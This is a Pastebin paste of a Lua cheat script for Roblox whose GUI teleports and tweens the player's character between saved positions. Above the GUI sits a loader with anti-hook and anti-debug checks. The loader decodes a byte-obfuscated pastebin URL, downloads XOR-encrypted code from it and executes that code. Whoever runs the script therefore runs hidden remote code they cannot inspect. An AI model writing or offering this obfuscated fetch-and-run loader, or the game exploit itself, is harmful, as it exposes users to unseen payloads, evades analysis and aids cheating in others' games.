Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- -- Anti-hook & Anti-skid protection (top priority)
- local orig_loadstring = loadstring
- local orig_load = load
- local orig_require = require
- local orig_hookfunction = hookfunction or function() return nil end
- local orig_setclipboard = setclipboard or function() return nil end
- local orig_getinfo = debug and debug.getinfo or function() return nil end
- local dummy_code = "return function() end"
- local function is_hooked(fn, orig)
- if not fn or not orig then return false end
- if tostring(fn) ~= tostring(orig) then return true end
- local ok1, f1 = pcall(string.dump, fn)
- local ok2, f2 = pcall(string.dump, orig)
- if ok1 and ok2 and f1 ~= f2 then
- return true
- end
- return false
- end
- loadstring = function(code, ...)
- if is_hooked(loadstring, orig_loadstring) or is_hooked(load, orig_load) or is_hooked(require, orig_require)
- or is_hooked(hookfunction, orig_hookfunction) or is_hooked(setclipboard, orig_setclipboard) then
- return orig_loadstring(dummy_code)
- end
- return orig_loadstring(code, ...)
- end
- load = function(code, ...)
- if is_hooked(loadstring, orig_loadstring) or is_hooked(load, orig_load) or is_hooked(require, orig_require)
- or is_hooked(hookfunction, orig_hookfunction) or is_hooked(setclipboard, orig_setclipboard) then
- return orig_load(dummy_code)
- end
- return orig_load(code, ...)
- end
- require = function(...)
- if is_hooked(loadstring, orig_loadstring) or is_hooked(load, orig_load) or is_hooked(require, orig_require)
- or is_hooked(hookfunction, orig_hookfunction) or is_hooked(setclipboard, orig_setclipboard) then
- error("require is hooked - aborted")
- end
- return orig_require(...)
- end
- if debug and debug.getinfo then
- local info = debug.getinfo(1)
- if info and info.what == "C" then
- error("Debug environment detected - aborting")
- end
- end
- -- Utility: Decode obfuscated pastebin URL bytes
- local function decode_url()
- local bytes = {112,97,115,116,101,98,105,110,46,99,111,109,47,114,97,119,47,67,57,74,52,75,75,83,77}
- local url = ""
- for i = 1, #bytes do
- url = url .. string.char(bytes[i])
- end
- return "https://" .. url
- end
- -- XOR decrypt function with key 55 (customize your key)
- local function decrypt(code)
- local key = 55
- local decrypted = ""
- for i = 1, #code do
- decrypted = decrypted .. string.char(bit32.bxor(code:byte(i), key))
- end
- return decrypted
- end
- -- Fetch encrypted code
- local encryptedScript = game:HttpGet(decode_url(), true)
- -- Decrypt code
- local decryptedScript = decrypt(encryptedScript)
- -- Sandbox environment (empty with some basic functions)
- local sandbox_env = {
- print = print,
- warn = warn,
- error = error,
- pairs = pairs,
- ipairs = ipairs,
- tonumber = tonumber,
- tostring = tostring,
- math = math,
- string = string,
- table = table,
- bit32 = bit32,
- task = task,
- -- add other safe APIs as needed
- }
- -- Load decrypted code securely
- local func, err = loadstring(decryptedScript)
- if func then
- setfenv(func, sandbox_env)
- local success, runtime_err = pcall(func)
- if not success then
- warn("Runtime error in decrypted script: " .. tostring(runtime_err))
- end
- else
- error("Failed to load decrypted script: " .. tostring(err))
- end
- -- Below is your GUI code, no changes needed (you can replace this with your own GUI)
- local TweenService = game:GetService("TweenService")
- local Players = game:GetService("Players")
- local player = Players.LocalPlayer
- local playerGui = player:WaitForChild("PlayerGui")
- local screenGui = Instance.new("ScreenGui")
- screenGui.Name = "MoveGui"
- screenGui.ResetOnSpawn = false
- screenGui.Parent = playerGui
- local frame = Instance.new("Frame")
- frame.Size = UDim2.new(0, 180, 0, 140)
- frame.Position = UDim2.new(0.5, -90, 0.5, -70)
- frame.BackgroundColor3 = Color3.fromRGB(40, 40, 40)
- frame.BorderSizePixel = 0
- frame.Active = true
- frame.Draggable = true
- frame.Parent = screenGui
- local corner = Instance.new("UICorner")
- corner.CornerRadius = UDim.new(0, 10)
- corner.Parent = frame
- local title = Instance.new("TextLabel")
- title.Size = UDim2.new(1, 0, 0, 30)
- title.BackgroundTransparency = 1
- title.Text = "ken_i v1"
- title.TextColor3 = Color3.new(1, 1, 1)
- title.Font = Enum.Font.SourceSansBold
- title.TextSize = 18
- title.Parent = frame
- local function createButton(name, posY)
- local btn = Instance.new("TextButton")
- btn.Size = UDim2.new(0, 160, 0, 35)
- btn.Position = UDim2.new(0, 10, 0, posY)
- btn.BackgroundColor3 = Color3.fromRGB(70, 130, 180)
- btn.TextColor3 = Color3.new(1, 1, 1)
- btn.Text = name
- btn.Font = Enum.Font.SourceSansBold
- btn.TextSize = 16
- btn.Parent = frame
- local btnCorner = Instance.new("UICorner")
- btnCorner.CornerRadius = UDim.new(0, 8)
- btnCorner.Parent = btn
- return btn
- end
- local saveZoneBtn = createButton("Save Collect Zone Position", 40)
- local activateBtn = createButton("Activate Forward + Up", 85)
- activateBtn.Visible = false
- local savedCollectPosition = nil
- local speed = (19 / 0.65) * 1.06 -- +6% speed
- local function moveForwardThenUp()
- local character = player.Character
- if not character then return end
- local root = character:FindFirstChild("HumanoidRootPart")
- if not root then return end
- local distance = 48
- local forward = root.CFrame.LookVector
- local targetPos = root.Position + (forward * distance)
- local targetCFrame = CFrame.new(targetPos, targetPos + forward)
- local duration = distance / speed
- local tweenInfo = TweenInfo.new(duration, Enum.EasingStyle.Sine, Enum.EasingDirection.Out)
- local tween = TweenService:Create(root, tweenInfo, {CFrame = targetCFrame})
- tween:Play()
- tween.Completed:Connect(function()
- local upPos = root.Position + Vector3.new(0, 300, 0)
- root.CFrame = CFrame.new(upPos, upPos + forward)
- if savedCollectPosition then
- task.delay(0.1, function()
- local currentPos = root.Position
- local dist = (savedCollectPosition - currentPos).Magnitude
- local look = (savedCollectPosition - currentPos).Unit
- local savedCFrame = CFrame.new(savedCollectPosition, savedCollectPosition + look)
- local dur = dist / speed
- local tween2 = TweenService:Create(root, TweenInfo.new(dur, Enum.EasingStyle.Sine), {CFrame = savedCFrame})
- tween2:Play()
- end)
- end
- end)
- end
- saveZoneBtn.MouseButton1Click:Connect(function()
- local character = player.Character
- if character and character:FindFirstChild("HumanoidRootPart") then
- savedCollectPosition = character.HumanoidRootPart.Position
- warn("Player go by your base")
- saveZoneBtn.Visible = false
- activateBtn.Visible = true
- end
- end)
- activateBtn.MouseButton1Click:Connect(moveForwardThenUp)
Advertisement
Add Comment
Please, Sign In to add comment